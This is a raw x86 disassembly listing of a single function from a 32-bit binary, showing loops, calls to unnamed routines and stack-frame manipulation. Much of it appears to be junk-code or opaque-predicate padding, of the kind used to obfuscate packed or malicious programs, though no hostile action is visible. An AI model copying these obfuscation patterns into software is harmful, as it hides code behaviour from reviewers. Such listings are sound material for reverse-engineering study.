mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 6
jge 0x100503e0
lea eax, [ebp - 0x810]
push eax
push 1
push 0x5f8d
push 0x10a9
call fcn.1004c258
add esp, 0x10
jmp 0x100503ad
jmp 0x10050586
mov dword [ebp - 0x9b8], 0x3ca5435
mov dword [ebp - 0x7e0], 1
mov dword [ebp - 0x6c], 0
jmp 0x10050409
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 3
jge 0x1005041f
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0xbe4], 0x3db9
jmp 0x10050402
mov dword [ebp - 0x6c], 0
jmp 0x1005042f
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 1
jge 0x10050445
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x6ec], 6
jmp 0x10050428
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6e4]
cmp dword [ebp + eax - 0x304], ecx
jne 0x10050466
mov dword [ebp - 0x484], 1
jmp 0x1005046d
and dword [ebp - 0x484], 0
mov dword [ebp - 0x574], 0x680a
cmp dword [ebp - 0x574], 0
je 0x1005049b
mov eax, dword [ebp - 0x2a8]
dec eax
mov dword [ebp - 0x2a8], eax
je 0x1005049b
mov dword [ebp - 0x46c], 1
jmp 0x100504a2
and dword [ebp - 0x46c], 0
cmp dword [ebp - 0x46c], 0x5901a700
jne 0x100504c3
mov eax, 0x9fe2
test eax, eax
je 0x100504c3
mov dword [ebp - 0x5fc], 1
jmp 0x100504ca
and dword [ebp - 0x5fc], 0
cmp dword [ebp - 0x5fc], 0xb52d9b6e
je 0x100504e2
mov dword [ebp - 0x474], 1
jmp 0x100504e9
and dword [ebp - 0x474], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xbe4]
cmp dword [ebp - 0x474], eax
jge 0x10050509
mov dword [ebp - 0x57c], 1
jmp 0x10050510
and dword [ebp - 0x57c], 0
cmp dword [ebp - 0x57c], 0xd293d0ae
jne 0x10050528
mov dword [ebp - 0x47c], 1
jmp 0x1005052f
and dword [ebp - 0x47c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc5c]
cmp dword [ebp - 0x47c], eax
jge 0x10050550
mov dword [ebp - 0x644], 1
jmp 0x10050557
and dword [ebp - 0x644], 0
mov eax, dword [ebp - 0x7e0]
imul eax, dword [ebp - 0x644]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x304]
imul eax, dword [ebp - 0x484]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x6ec], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x788]
call fcn.10018f0c
push dword [ebp - 0x838]
push dword [ebp - 0x6f4]
call fcn.10048d44
pop ecx
pop ecx
mov dword [ebp - 0x398], eax
mov dword [ebp - 0x50], 0x462d5e48
mov dword [ebp - 0x2b0], 0xd55a
mov dword [ebp - 0x584], 1
push 3
lea ecx, [ebp - 0x88c]
call fcn.10018e8a
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x338], 0xfffffff8
mov dword [ebp - 0x22c], 0
jmp 0x10050600
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 3
jge 0x10050622
push dword [ebp - 0x22c]
lea ecx, [ebp - 0x88c]
call fcn.10018f28
mov dword [eax], 0x8f15ea37
jmp 0x100505f3
mov dword [ebp - 0x50], 0xfffffff1
jmp 0x10050632
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x10
jg 0x10050b45
mov dword [ebp - 0x31c], 0x683c
mov dword [ebp - 0x318], 0x683c
mov dword [ebp - 0x314], 0x683c
mov dword [ebp - 0x310], 0x683c
mov dword [ebp - 0x3c], 0xee7d214c
mov dword [ebp - 0x4a4], 5
mov dword [ebp - 0x2e4], 0x53ebff78
mov dword [ebp - 0x3c], 3
jmp 0x1005068f
cmp dword [ebp - 0x3c], 0
jl 0x10050b40
mov dword [ebp - 0xb0], 0x61940c9b
mov dword [ebp - 0x324], 0xffffffff
push 1
lea ecx, [ebp - 0x96c]
call fcn.10018e8a
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x328], 1
mov dword [ebp - 0x98c], 0x13fd1fa9
mov dword [ebp - 0x988], 0x13fd1fa9
mov dword [ebp - 0x984], 0x13fd1fa9
mov dword [ebp - 0x980], 0x13fd1fa9
push 1
lea eax, [ebp - 0x96c]
push eax
lea eax, [ebp - 0xaa4]
push eax
push 0x2abe
call fcn.1004c2cc
add esp, 0x10
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x9c0], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x31c]
cmp dword [ebp - 0xb0], eax
jne 0x10050734
mov dword [ebp - 0x6a8], 1
jmp 0x1005073b
and dword [ebp - 0x6a8], 0
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xb50], eax
mov eax, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x31c], 0
je 0x10050773
cmp dword [ebp - 0x50], 0
je 0x10050773
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x9c8], eax
mov eax, 0x8d679bdd
sub eax, dword [ebp - 0xb0]
imul eax, dword [ebp - 0x2b0]
mov dword [ebp - 0x584], eax
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0xaac], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x31c]
cmp dword [ebp - 0x50], eax
jg 0x100507c5
jmp 0x1005062b
mov byte [ebp - 0x89], 0
movzx eax, byte [ebp - 0x89]
test eax, eax
je 0x10050b89
push 0x510b
push 0x37f6
push 0x821
push 0x3877
push 1
push 0x43ce
push 0x2164
push 0x3795
push 0x47e4
call fcn.1004c342
add esp, 0x24
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x88c]
call fcn.10018f0c
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x398]
mov dword [eax + 8], ecx
mov dword [ebp - 0x34], 0x8a61928c
push 1
lea ecx, [ebp - 0x7a8]
call fcn.10018e8a
mov dword [ebp - 4], 0x13
lea eax, [ebp - 0x9d8]
push eax
lea eax, [ebp - 0x7a8]
push eax
push 0x423d
push 1
call fcn.1004c557
add esp, 0x10
mov dword [ebp - 0x34], 0
jmp 0x10050bef
cmp dword [ebp - 0x34], 0xfffffffd
jge 0x10050e61
mov dword [ebp - 0x54], 0xb1658084
push 2
lea ecx, [ebp - 0x798]
call fcn.10018e8a
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x7f0], 6
mov dword [ebp - 0x128], 0
jmp 0x10050c34
cmp dword [ebp - 0x128], 4
jge 0x10050c50
mov dword [ebp - 0x34], 0
jmp 0x10050e71
cmp dword [ebp - 0x34], 0
jg 0x10050eb4
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x6e0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x6e8], eax
mov eax, dword [ebp - 0x6e0]
mov dword [ebp - 0x6f0], eax
mov eax, dword [ebp - 0x6e8]
mov dword [ebp - 0x6f8], eax
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f8]
mov ecx, dword [ecx]
mov dword [eax], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret